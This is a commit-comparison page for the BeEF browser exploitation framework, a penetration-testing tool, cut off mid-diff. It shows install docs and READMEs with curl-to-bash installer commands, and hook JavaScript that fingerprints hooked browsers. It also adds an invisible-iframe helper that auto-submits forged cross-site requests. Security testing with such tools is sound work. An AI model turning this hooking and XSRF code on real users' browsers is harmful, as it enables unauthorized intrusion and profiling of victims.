Compare commits
141 Commits
beef-0.4.3
...
beef-0.4.3
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
defc5987c7 | ||
|
|
1d13368644 | ||
|
|
8e7e546ef9 | ||
|
|
729336df53 | ||
|
|
9e2ac56ea6 | ||
|
|
fdd9d2c555 | ||
|
|
d76c0a39c7 | ||
|
|
1b9153485e | ||
|
|
8dc4261094 | ||
|
|
1c9310f89f | ||
|
|
4e75c869ff | ||
|
|
5aa2cefc43 | ||
|
|
172ec56be6 | ||
|
|
0ac7023df1 | ||
|
|
75315f8622 | ||
|
|
874bc14278 | ||
|
|
53b0781961 | ||
|
|
dc040a51ac | ||
|
|
b84ec775a1 | ||
|
|
b3f8504a2e | ||
|
|
0d2598e0b8 | ||
|
|
c79a2ee6f1 | ||
|
|
c1d021a7e8 | ||
|
|
aee0b1e50f | ||
|
|
b7f6073631 | ||
|
|
0ce3490420 | ||
|
|
8d805c550f | ||
|
|
395141b8c8 | ||
|
|
1282831af1 | ||
|
|
2bad801c80 | ||
|
|
981b13ce7b | ||
|
|
6739094f57 | ||
|
|
f08fa2568b | ||
|
|
9da617a50a | ||
|
|
f8eba21cb4 | ||
|
|
460b619cc1 | ||
|
|
56443cfdf4 | ||
|
|
86b3103925 | ||
|
|
b49548d22e | ||
|
|
51b27709dd | ||
|
|
b420fe0523 | ||
|
|
c92ef02a7a | ||
|
|
e4ea5dfff9 | ||
|
|
b8ba48af25 | ||
|
|
6ea46e72da | ||
|
|
a6a7536e73 | ||
|
|
6279658888 | ||
|
|
74a3eef225 | ||
|
|
d354e66a3d | ||
|
|
1a85b6bc92 | ||
|
|
e8ea3a3cd7 | ||
|
|
8f1aae97c8 | ||
|
|
f0b1d6d76f | ||
|
|
594e745694 | ||
|
|
b9c9df93e1 | ||
|
|
1335f57a46 | ||
|
|
aa671f6e64 | ||
|
|
3c7686e196 | ||
|
|
78b88ee09f | ||
|
|
2f7d98c7a7 | ||
|
|
1fd66bce1e | ||
|
|
6eacf97b80 | ||
|
|
7d7f6b13b4 | ||
|
|
247e0e9a62 | ||
|
|
052d25a36b | ||
|
|
96a16fa683 | ||
|
|
256ef0f2e8 | ||
|
|
fdad068ee5 | ||
|
|
9a5af8f7d1 | ||
|
|
925e744194 | ||
|
|
46a19ee0b9 | ||
|
|
f361e2ac78 | ||
|
|
f84d34ab86 | ||
|
|
4faf75f1f1 | ||
|
|
ef492dd19b | ||
|
|
e426b3fb13 | ||
|
|
4123bb5f5d | ||
|
|
95cc1ac2d6 | ||
|
|
70f70a339f | ||
|
|
13c75e87c9 | ||
|
|
ff0dd7e9e2 | ||
|
|
6f293ba866 | ||
|
|
a62b77cc1d | ||
|
|
f221f93ebb | ||
|
|
6383f8670b | ||
|
|
e88be79134 | ||
|
|
821ebf0a14 | ||
|
|
e3e4a44ae7 | ||
|
|
f566a00fdf | ||
|
|
1cf980f06e | ||
|
|
c61aae0949 | ||
|
|
99d47351b7 | ||
|
|
53c6fb5252 | ||
|
|
72ba526cbc | ||
|
|
9e9700f34a | ||
|
|
c3435ee345 | ||
|
|
2c19a3a8d8 | ||
|
|
9ae0929a8c | ||
|
|
b78390cd39 | ||
|
|
335adbdc15 | ||
|
|
d3f8b45f21 | ||
|
|
aedfe0f9a5 | ||
|
|
6ff34953d9 | ||
|
|
8b3e032ad1 | ||
|
|
004b3c15ce | ||
|
|
dc269b15b1 | ||
|
|
3dadf4406b | ||
|
|
215ddd9cf5 | ||
|
|
958ddb4845 | ||
|
|
97c2649e36 | ||
|
|
c83e7d584e | ||
|
|
b41c6e8559 | ||
|
|
6f73dd6a82 | ||
|
|
cecd6cb14a | ||
|
|
43f82b0c72 | ||
|
|
656262c0f4 | ||
|
|
2198c69aa8 | ||
|
|
2755c6449c | ||
|
|
185b1be30f | ||
|
|
65138db207 | ||
|
|
23f782b8d8 | ||
|
|
af9b3c97b5 | ||
|
|
302512e172 | ||
|
|
85b3a59441 | ||
|
|
8f7caff30f | ||
|
|
296d0161c9 | ||
|
|
b08326ebcc | ||
|
|
552beb4ccd | ||
|
|
faae01a9aa | ||
|
|
ce8919297f | ||
|
|
bcd0ff154f | ||
|
|
fe588cd2a0 | ||
|
|
e1134e2fa6 | ||
|
|
a5504a5b11 | ||
|
|
64cee24c65 | ||
|
|
236c8a81b6 | ||
|
|
15ca7777bb | ||
|
|
d3e2e1eb30 | ||
|
|
736c81573e | ||
|
|
e4d4edba75 | ||
|
|
3d26782125 |
2
Gemfile
2
Gemfile
@@ -26,6 +26,8 @@ end
|
||||
|
||||
gem "thin"
|
||||
gem "sinatra", "1.3.2"
|
||||
gem "em-websocket", "~> 0.3.6"
|
||||
gem "jsmin", "~> 1.0.1"
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
|
||||
81
INSTALL.txt
Normal file
81
INSTALL.txt
Normal file
@@ -0,0 +1,81 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
===============================================================================
|
||||
|
||||
Installation
|
||||
------------
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
2. Prerequisites (Windows)
|
||||
3. Prerequisites (Linux)
|
||||
4. Prerequisites (Mac OSX)
|
||||
5. Install instructions
|
||||
6. Run instructions
|
||||
|
||||
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
|
||||
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
|
||||
|
||||
gem install bundler
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.2
|
||||
3.3. rvm use 1.9.2
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p0 --with-gcc=clang
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
|
||||
bundle install
|
||||
|
||||
Bundler installs all the pre-requisite gems.
|
||||
|
||||
6. Run instructions
|
||||
|
||||
Simply run:
|
||||
|
||||
./beef
|
||||
97
README
97
README
@@ -1,4 +1,5 @@
|
||||
|
||||
===============================================================================
|
||||
|
||||
Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -13,67 +14,71 @@
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing BeEF should be kept here.
|
||||
===============================================================================
|
||||
|
||||
=============================================
|
||||
What is BeEF?
|
||||
-------------
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
2. Prerequisites (Windows)
|
||||
3. Prerequisites (Linux)
|
||||
4. Prerequisites (Mac OSX)
|
||||
5. Install instructions
|
||||
6. Run instructions
|
||||
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
|
||||
|
||||
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
|
||||
|
||||
|
||||
Get Involved
|
||||
------------
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
You can get in touch with the BeEF team. Just check out the following:
|
||||
|
||||
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
|
||||
|
||||
gem install bundler
|
||||
Please, send us pull requests!
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
Web: http://beefproject.com/
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
Mail: beef-subscribe@bindshell.net
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
IRC: ircs://irc.freenode.net/beefproject
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
Twitter: @beefproject
|
||||
|
||||
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.2
|
||||
3.3. rvm use 1.9.2
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p0 --with-gcc=clang
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
|
||||
Requirements
|
||||
------------
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
|
||||
bundle install
|
||||
|
||||
Bundler installs all the pre-requisite gems.
|
||||
Quick Start
|
||||
-----------
|
||||
|
||||
6. Run instructions
|
||||
__The following is for the impatient.__
|
||||
|
||||
Simply run:
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
To get started, simply execute beef and follow the instrustions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
./beef
|
||||
|
||||
84
README.mkd
Normal file
84
README.mkd
Normal file
@@ -0,0 +1,84 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
===============================================================================
|
||||
|
||||
What is BeEF?
|
||||
-------------
|
||||
|
||||
__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
|
||||
|
||||
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
|
||||
|
||||
|
||||
Get Involved
|
||||
------------
|
||||
|
||||
You can get in touch with the BeEF team. Just check out the following:
|
||||
|
||||
|
||||
__Please, send us pull requests!__
|
||||
|
||||
__Web:__ http://beefproject.com/
|
||||
|
||||
__Mail:__ beef-subscribe@bindshell.net
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
__Twitter:__ @beefproject
|
||||
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
|
||||
|
||||
Quick Start
|
||||
-----------
|
||||
|
||||
__The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
42
Rakefile
42
Rakefile
@@ -152,3 +152,45 @@ task :dmg do
|
||||
puts "\nBeEF.dmg created\n"
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
# Create CDE Package
|
||||
# This will download and make the CDE Executable and
|
||||
# gnereate a CDE Package in cde-package
|
||||
|
||||
task :cde do
|
||||
puts "\nCloning and Making CDE...";
|
||||
sh "git clone git://github.com/pgbovine/CDE.git";
|
||||
Dir.chdir "CDE";
|
||||
sh "make";
|
||||
Dir.chdir "..";
|
||||
puts "\nCreating CDE Package...\n";
|
||||
sh "bundle install"
|
||||
Rake::Task['cde_beef_start'].invoke
|
||||
Rake::Task['beef_stop'].invoke
|
||||
puts "\nCleaning Up...\n";
|
||||
sleep (2);
|
||||
sh "rm -rf CDE";
|
||||
puts "\nCDE Package Created...\n";
|
||||
end
|
||||
|
||||
################################
|
||||
# CDE/BeEF environment set up
|
||||
|
||||
@beef_process_id = nil;
|
||||
|
||||
task :cde_beef_start => 'beef' do
|
||||
printf "Starting CDE BeEF (wait 10 seconds)..."
|
||||
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
end
|
||||
puts '.'
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
|
||||
|
||||
|
||||
2
VERSION
2
VERSION
@@ -14,4 +14,4 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
0.4.3.4-alpha
|
||||
0.4.3.5-alpha
|
||||
|
||||
18
beef
18
beef
@@ -59,6 +59,15 @@ if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
|
||||
BeEF::Core::Console::Banners.print_ascii_art
|
||||
end
|
||||
|
||||
# @note Check if port and WebSocket port need to be updated from command line parameters
|
||||
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
|
||||
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
|
||||
end
|
||||
|
||||
unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
|
||||
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
|
||||
end
|
||||
|
||||
# @note Prints BeEF welcome message
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
@@ -112,6 +121,15 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes
|
||||
#@note Prints the API key needed to use the RESTful API
|
||||
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
|
||||
|
||||
#@note Starts the WebSocket server
|
||||
if config.get("beef.http.websocket.enable")
|
||||
BeEF::Core::Websocket::Websocket.instance
|
||||
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
|
||||
13
config.yaml
13
config.yaml
@@ -16,7 +16,7 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.4-alpha'
|
||||
version: '0.4.3.5-alpha'
|
||||
debug: false
|
||||
|
||||
restrictions:
|
||||
@@ -32,11 +32,20 @@ beef:
|
||||
port: "3000"
|
||||
# if running behind a nat set the public ip address here
|
||||
#public: ""
|
||||
#public_port: "" # port setting is experimental
|
||||
dns: "localhost"
|
||||
panel_path: "/ui/panel"
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: false # use WebSocketSecure
|
||||
port: 11989
|
||||
alive_timer: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: false
|
||||
@@ -77,3 +86,5 @@ beef:
|
||||
console:
|
||||
shell:
|
||||
enable: false
|
||||
evasion:
|
||||
enable: false
|
||||
|
||||
@@ -53,3 +53,6 @@ require 'core/main/rest/handlers/modules'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
require 'core/main/rest/handlers/admin'
|
||||
require 'core/main/rest/api'
|
||||
|
||||
## @note Include Websocket
|
||||
require 'core/main/network_stack/websocket/websocket'
|
||||
|
||||
@@ -78,10 +78,10 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the screen params are valid
|
||||
# Verify the screen size is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid screen param characters
|
||||
def self.is_valid_screen_params?(str)
|
||||
# @return [Boolean] If the string has valid screen size characters
|
||||
def self.is_valid_screen_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
@@ -105,6 +105,15 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the date stamp is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid date stamp characters
|
||||
def self.is_valid_date_stamp?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
|
||||
@@ -48,9 +48,15 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
* @param: {Function} the function to execute.
|
||||
*/
|
||||
execute: function(fn) {
|
||||
this.commands.push(fn);
|
||||
},
|
||||
|
||||
if ( typeof beef.websocket == "undefined"){
|
||||
this.commands.push(fn);
|
||||
}else{
|
||||
fn();
|
||||
}
|
||||
},
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Registers a component in BeEF JS.
|
||||
* @params: {String} the component.
|
||||
|
||||
@@ -166,10 +166,18 @@ beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns true if FF12
|
||||
* @example: beef.browser.isFF12()
|
||||
* @example: beef.browser.isFF12()
|
||||
*/
|
||||
isFF12: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF13
|
||||
* @example: beef.browser.isFF13()
|
||||
*/
|
||||
isFF13: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -177,7 +185,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -411,6 +419,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
FF10: this.isFF10(), // Firefox 10
|
||||
FF11: this.isFF11(), // Firefox 11
|
||||
FF12: this.isFF12(), // Firefox 12
|
||||
FF13: this.isFF13(), // Firefox 13
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -468,6 +477,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
if (this.isFF10()) { return '10' }; // Firefox 10
|
||||
if (this.isFF11()) { return '11' }; // Firefox 11
|
||||
if (this.isFF12()) { return '12' }; // Firefox 12
|
||||
if (this.isFF13()) { return '13' }; // Firefox 13
|
||||
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
@@ -597,29 +607,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
* Returns the list of plugins installed in the browser.
|
||||
*/
|
||||
getPlugins: function() {
|
||||
var results = '';
|
||||
if (this.isIE())
|
||||
{
|
||||
results = this.getPluginsIE();
|
||||
} else {
|
||||
if (navigator.plugins && navigator.plugins.length > 0)
|
||||
{
|
||||
var length = navigator.plugins.length;
|
||||
for (var i=0; i < length; i++)
|
||||
{
|
||||
if (i != 0)
|
||||
results += '\n';
|
||||
if(beef.browser.isFF()){ //FF returns exact plugin versions
|
||||
results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
|
||||
}else{ // Webkit and Presto (Opera) doesn't support the version attribute, and
|
||||
// sometimes they store plugin version in description (Real, Adobe)
|
||||
results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
results = 'navigator.plugins is not supported in this browser!';
|
||||
}
|
||||
}
|
||||
|
||||
var results;
|
||||
Array.prototype.unique = function() {
|
||||
var o = {}, i, l = this.length, r = [];
|
||||
for(i=0; i<l;i+=1) o[this[i]] = this[i];
|
||||
for(i in o) r.push(o[i]);
|
||||
return r;
|
||||
};
|
||||
|
||||
// Internet Explorer
|
||||
if (this.isIE()) this.getPluginsIE();
|
||||
|
||||
// All other browsers that support navigator.plugins
|
||||
else if (navigator.plugins && navigator.plugins.length > 0) {
|
||||
results = new Array();
|
||||
for (var i=0; i < navigator.plugins.length; i++) {
|
||||
|
||||
// Firefox returns exact plugin versions
|
||||
if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
|
||||
|
||||
// Webkit and Presto (Opera)
|
||||
// Don't support the version attribute
|
||||
// Sometimes store the version in description (Real, Adobe)
|
||||
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
|
||||
}
|
||||
results = results.unique().toString();
|
||||
|
||||
// All browsers that don't support navigator.plugins
|
||||
} else results = 'navigator.plugins is not supported in this browser!';
|
||||
|
||||
// Return results
|
||||
return results;
|
||||
},
|
||||
|
||||
@@ -696,7 +714,7 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
/**
|
||||
* Returns zombie screen size and color depth.
|
||||
*/
|
||||
getScreenParams: function() {
|
||||
getScreenSize: function() {
|
||||
return {
|
||||
width: window.screen.width,
|
||||
height: window.screen.height,
|
||||
@@ -745,10 +763,11 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
var hostname = document.location.hostname;
|
||||
var hostport = (document.location.port)? document.location.port : "80";
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var date_stamp = new Date().toString();
|
||||
var os_name = beef.os.getName();
|
||||
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
|
||||
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
|
||||
var screen_params = beef.browser.getScreenParams();
|
||||
var screen_size = beef.browser.getScreenSize();
|
||||
var window_size = beef.browser.getWindowSize();
|
||||
var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
|
||||
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
|
||||
@@ -770,9 +789,10 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
if(hostport) details["HostPort"] = hostport;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(date_stamp) details['DateStamp'] = date_stamp;
|
||||
if(system_platform) details['SystemPlatform'] = system_platform;
|
||||
if(browser_type) details['BrowserType'] = browser_type;
|
||||
if(screen_params) details['ScreenParams'] = screen_params;
|
||||
if(screen_size) details['ScreenSize'] = screen_size;
|
||||
if(window_size) details['WindowSize'] = window_size;
|
||||
if(java_enabled) details['JavaEnabled'] = java_enabled;
|
||||
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
|
||||
|
||||
@@ -25,7 +25,7 @@ beef.browser.popup = {
|
||||
|
||||
blocker_enbabled: function ()
|
||||
{
|
||||
screenParams = beef.browser.getScreenParams();
|
||||
screenParams = beef.browser.getScreenSize();
|
||||
var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
|
||||
if (popUp == null || typeof(popUp)=='undefined') {
|
||||
return true;
|
||||
@@ -36,4 +36,4 @@ beef.browser.popup = {
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser.popup');
|
||||
beef.regCmp('beef.browser.popup');
|
||||
|
||||
@@ -286,10 +286,37 @@ beef.dom = {
|
||||
*/
|
||||
detachApplet: function(id) {
|
||||
$j('#' + id + '').detach();
|
||||
},
|
||||
|
||||
/**
|
||||
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
|
||||
* @params: {String} action: the form action attribute, where the request will be sent.
|
||||
* @params: {String} method: HTTP method, usually POST.
|
||||
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
|
||||
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
|
||||
*/
|
||||
createIframeXsrfForm: function(action, method, inputs){
|
||||
var iframeXsrf = beef.dom.createInvisibleIframe();
|
||||
|
||||
var formXsrf = document.createElement('form');
|
||||
formXsrf.setAttribute('action', action);
|
||||
formXsrf.setAttribute('method', method);
|
||||
|
||||
var input = null;
|
||||
for (i in inputs){
|
||||
var attributes = inputs[i];
|
||||
input = document.createElement('input');
|
||||
for(key in attributes){
|
||||
input.setAttribute(key, attributes[key]);
|
||||
}
|
||||
formXsrf.appendChild(input);
|
||||
}
|
||||
iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
|
||||
formXsrf.submit();
|
||||
|
||||
return iframeXsrf;
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.dom');
|
||||
|
||||
@@ -156,6 +156,6 @@ beef.encode.base64 = {
|
||||
return string;
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.encode.base64');
|
||||
|
||||
@@ -18,9 +18,15 @@
|
||||
beef.encode.json = {
|
||||
|
||||
stringify: function(o) {
|
||||
if (typeof(JSON) == 'object' && JSON.stringify)
|
||||
return JSON.stringify(o);
|
||||
|
||||
if (typeof(JSON) == 'object' && JSON.stringify) {
|
||||
// Error on stringifying cylcic structures caused polling to die
|
||||
try {
|
||||
